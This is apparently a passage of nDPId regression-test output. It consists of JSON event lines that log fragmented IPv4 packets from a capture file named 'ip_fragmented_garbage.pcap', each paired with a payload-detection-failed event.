+00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7987,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300539,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhQkAGRG8KAAACCoAAAiZERkdISksmXiUkIyNFVFI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7987,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7988,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300551,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhREAGRG0KAAACCoAAAiVZXlUmSSpPUHsiOmhkZmw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7988,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7989,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300564,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhRkAGRGsKAAACCoAAAmtkYT5MPE1OQkhHRkRFVyM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7989,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7990,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300579,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSEAGRGkKAAACCoAAAkAkJV5IQkdWCjQyMTQ2MzE="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7990,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7991,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300592,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhSkAGRGcKAAACCoAAAjk4MjA1MSkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7991,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7992,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300604,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTEAGRGUKAAACCoAAAiQlXiYqKComXiUkI3JzZGw="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7992,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7993,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300616,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhTkAGRGMKAAACCoAAAnVoZ2tmZHNia252Yy8udGc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7993,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7994,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300629,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUEAGRGEKAAACCoAAAmZ0Zz9HUj9HUj9zUj83NDg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7994,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7995,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300643,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhUkAGRF8KAAACCoAAAjM5NikoKiZeJSQjQCFAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7995,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7996,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300656,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVEAGRF0KAAACCoAAAiVeJiooKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7996,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7997,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300668,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhVkAGRFsKAAACCoAAAiVeJiooKiZeJSQjJiooS0k="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7997,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7998,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300681,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWEAGRFkKAAACCoAAAkpIR0ZEMiomREZHSEpLJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7998,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":7999,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300693,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhWkAGRFcKAAACCoAAAiUkIyNFVFIlWV5VJkkqT1A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":7999,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8000,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300706,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXEAGRFUKAAACCoAAAnsiOmhkZmxrZGE+TDxNTkI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8000,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8001,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300719,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhXkAGRFMKAAACCoAAAkhHRkRFVyNAJCVeSEJHVgo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8001,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8002,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300732,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYEAGRFEKAAACCoAAAjQyMTQ2MzE5ODIwNTEpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8002,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8003,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300745,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhYkAGRE8KAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8003,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8004,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300760,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZEAGRE0KAAACCoAAAiUkI3JzZGx1aGdrZmRzYms="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8004,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00383{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8005,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300772,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhZkAGREsKAAACCoAAAm52Yy8udGdmdGc\/R1I\/R1I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8005,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8006,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300785,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhaEAGREkKAAACCoAAAj9zUj83NDgzOTYpKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8006,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8007,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300797,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhakAGREcKAAACCoAAAiQjQCFAIyQlXiYqKCkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8007,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8008,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300810,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbEAGREUKAAACCoAAAl4lJCNAIyQlXiYqKComXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8008,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8009,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300822,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhbkAGREMKAAACCoAAAiQjJiooS0lKSEdGRDIqJkQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8009,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8010,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300838,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhcEAGREEKAAACCoAAAkZHSEpLJl4lJCMjRVRSJVk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8010,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8011,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300851,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhckAGRD8KAAACCoAAAl5VJkkqT1B7IjpoZGZsa2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8011,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8012,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300863,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdEAGRD0KAAACCoAAAmE+TDxNTkJIR0ZERVcjQCQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8012,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8013,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300876,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhdkAGRDsKAAACCoAAAiVeSEJHVgo0MjE0NjMxOTg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8013,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8014,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300888,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAheEAGRDkKAAACCoAAAjIwNTEpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8014,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8015,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300900,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhekAGRDcKAAACCoAAAl4mKigqJl4lJCNyc2RsdWg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8015,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8016,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300913,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfEAGRDUKAAACCoAAAmdrZmRzYmtudmMvLnRnZnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8016,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00385{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8017,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300925,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhfkAGRDMKAAACCoAAAmc\/R1I\/R1I\/c1I\/NzQ4Mzk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8017,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8018,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300938,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgEAGRDEKAAACCoAAAjYpKComXiUkI0AhQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8018,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8019,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300951,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhgkAGRC8KAAACCoAAAiYqKCkoKiZeJSQjQCMkJV4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8019,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8020,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300965,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhEAGRC0KAAACCoAAAiYqKComXiUkIyYqKEtJSkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8020,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8021,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300980,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhhkAGRCsKAAACCoAAAkdGRDIqJkRGR0hKSyZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8021,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8022,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":300990,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhiEAGRCkKAAACCoAAAiMjRVRSJVleVSZJKk9QeyI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8022,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8023,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301000,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhikAGRCcKAAACCoAAAjpoZGZsa2RhPkw8TU5CSEc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8023,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8024,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301013,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjEAGRCUKAAACCoAAAkZERVcjQCQlXkhCR1YKNDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8024,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8025,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301027,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhjkAGRCMKAAACCoAAAjE0NjMxOTgyMDUxKSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8025,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8026,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301040,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkEAGRCEKAAACCoAAAiUkI0AjJCVeJiooKiZeJSQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8026,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8027,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301052,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhkkAGRB8KAAACCoAAAiNyc2RsdWhna2Zkc2JrbnY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8027,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00381{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":8028,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244032,"pkt_ts_usec":301064,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAhlEAGRB0KAAACCoAAAmMvLnRnZnRnP0dSP0dSP3M="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":8028,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 